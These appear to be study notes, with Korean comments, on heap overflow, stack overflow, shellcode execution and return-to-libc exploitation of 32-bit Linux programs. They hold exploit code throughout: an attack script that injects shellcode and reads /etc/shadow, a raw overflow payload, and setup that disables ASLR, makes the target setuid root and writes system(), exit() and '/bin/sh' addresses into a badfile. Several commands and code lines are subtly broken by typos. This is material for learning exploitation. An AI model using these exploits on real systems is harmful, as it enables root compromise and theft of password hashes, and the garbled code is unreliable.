typedef struct chunk {
char inp[64];
void (*process)(char *);
} chunk_t;
void showlen(char *buf){
int len;
len = strlen(buf);
printf("buffer5 read %d chars\n", len);
}
int main(int argc, char *argv[]){
chunk_t *next;
setbuf(stdin,NULL);
next = malloc(sizeof(chunk_t));
next->process = showlen;
printf("Enter value: ");
gets(next->inp);
next->process(next->inp);
printf("buffer5 done\n");
}
[ 64바이트 inp ][ 함수 포인터 process ]
$ cat attack2
#!/bin/sh
# implement heap overflow against program buffer5
perl -e 'print pack("H*",
"9090909090909090909090909090"
"9090b8... # 쉘코드 (기계어)
"460c00b89f38d4e08d... # 계속되는 쉘코드
"fffffffff260...20202020" # 리틀엔디언 주소 등
);'
print "whoami\n";
print "cat /etc/shadow\n";
$ attack2 buffer5
![]
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
typedef struct chunk {
char inp[8];
void (*proc)(char*);
}chunk_t;
void showbuf(char* buf){
printf("buf = %s\n", buf);
}
void runsh(char* buf){
system("/bin/sh");
printf("buf=%s\n", buf);
}
int main(int argc, char* argv[]){
chunk_t *next;
next = malloc(sizeof(chunk_t));
printf("inp=%p, proc%p\n", next->inp, &(next->proc));
printf("runsh=%p\n",runsh);
next->proc=showbuf;
next->proc(next->inp);
strcpy(next->inp, argv[1]);
next->proc(next->inp);
printf("Heap buffer done\n");


/* shellcode.c */
#include <string.h>
const char code[] =
"\x31\xc0\x50\x68//sh\x68/bin"
"\x89\xe3\x50\x53\x89\xe1\x99"
"\xb0\x0b\xcd\x80";
int main(int argc, char **argv)
{
char buffer[sizeof(code)];
strcpy(buffer, code);
((void(*)())code)();
}
gcc -z execstack shellcode.c
a.out
$
gcc -z noexecstack shellcode.c
a.out
segmentation fault (core dumped)

#include <stdio.h>
void echo() {
char buffer[80];
gets(buffer); // 위험한 함수
puts(buffer);
}
int main() {
echo();
printf("Done");
return 0;
}
printf "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAABBBB\x30\xf4\xe5\xb7\xb0\x2f\xe5\xb7\x8c\xfe\xff\xbf" > payload
./vuln < payload
gcc -fno-stack-protactor -z -o stack stack.c
sudo sysctl -w kerner.randomize_va_space=0
sudo chown root stack
sudo chmod 4755 stack
int vul_func(char *str)
{
char buffer[50];
strcpy(buffer, str);
return 1;
}
int main (int argc, char **argv)
{
char str[240];
FILE *badfile;
badfile = fopen("badfile", "r");
fread(str, sizeof(char), 200, badfile);
vul_func(str);
printf("Return Properly\n");
return 1;
}
gdb stack
(gdb) run
(gdb) p system
(gdb) p exit
#include <stdio.h>
int main(){
char *shell = (char *)getenv("MYSHELL");
if (shell){
printf (" Value : %s\n"m shell);
printf (" Address : %x\n, (unsigned int)shell);
}
return 1;
}
gcc envaddr.c -o env55
export MYSHELL="/bin/sh"
./env55
gcc -g envadddr.c -o envaddr_dbg
gdb envaddr_dbg
(gdb) run
(gdb) x/100s *((char **)environ)
#include <stdio.h>
#include <string.h>
int main (int argc, char **argv)
{
char buf[200]
FILE *badfile;
memset (buf, 0xaa, 200); //fill the buffer with non-zeros
*(long *) &buf[70] = 0xbffffe8c; // "/bin/sh"
*(long *) &buf[66] = 0xb7e52fb0; // exit()
*(long *) &buf[62] = 0xb7e5f430; // system()
badfile = fopen("./badfile","w");
fwrite (buf, sizeof(buf), 1, badfile);
fclose(badfile);
pushl % ebp //이전 함수의 ebp값을 스택에 저장
movl %esp, %ebp //esp의 값을 ebp에 저장함
subl $N, %esp // esp의 값을 감소시키면 스택에 빈 공간이 생김
movl %ebp, %esp // 스택 포인터를 이전의 EBP 값으로 되돌림 => 지역 변수 공간 해제
popl %ebp // 프롤로그에서 %ebp에 저장했던 값을 꺼내서 복원한다.
ret // 스택의 리턴 주소로 꺼내서 해당 주소로 점프
void foo(int x) {
int a;
a = x;
}
void bar() {
int b = 5;
foo (b);
}
foo:
push %epb
movl %esp %ebp
subl $16 %esp
movl 8(%ebp), %eax
movl %eax, -4(%ebp)
leave
ret
------------- ← 높은 주소
[높은 주소]
"/bin/sh" 의 주소 ← ARG(1)
exit() 주소 ← RET(2)
system() 주소 ← RET(1)
공격자가 덮어쓴 saved EBP
공격자가 덮어쓴 local buffer
[낮은 주소]
------------- ← 낮은 주소
------------- ← 높은 주소
[높은 주소]
"/bin/sh" 의 주소 ← ARG(1)
exit() 주소 ← RET(2)
epb
[낮은 주소]
------------- ← 낮은 주소
✔ 프로세스 메모리 공간에서 사용 가능한 영역
1. Writable 영역 (실행 불가)
• Stack
• Heap
• Data/BSS
2. Executable 영역
• Code segment(.text)
• Shared libraries(like libc)

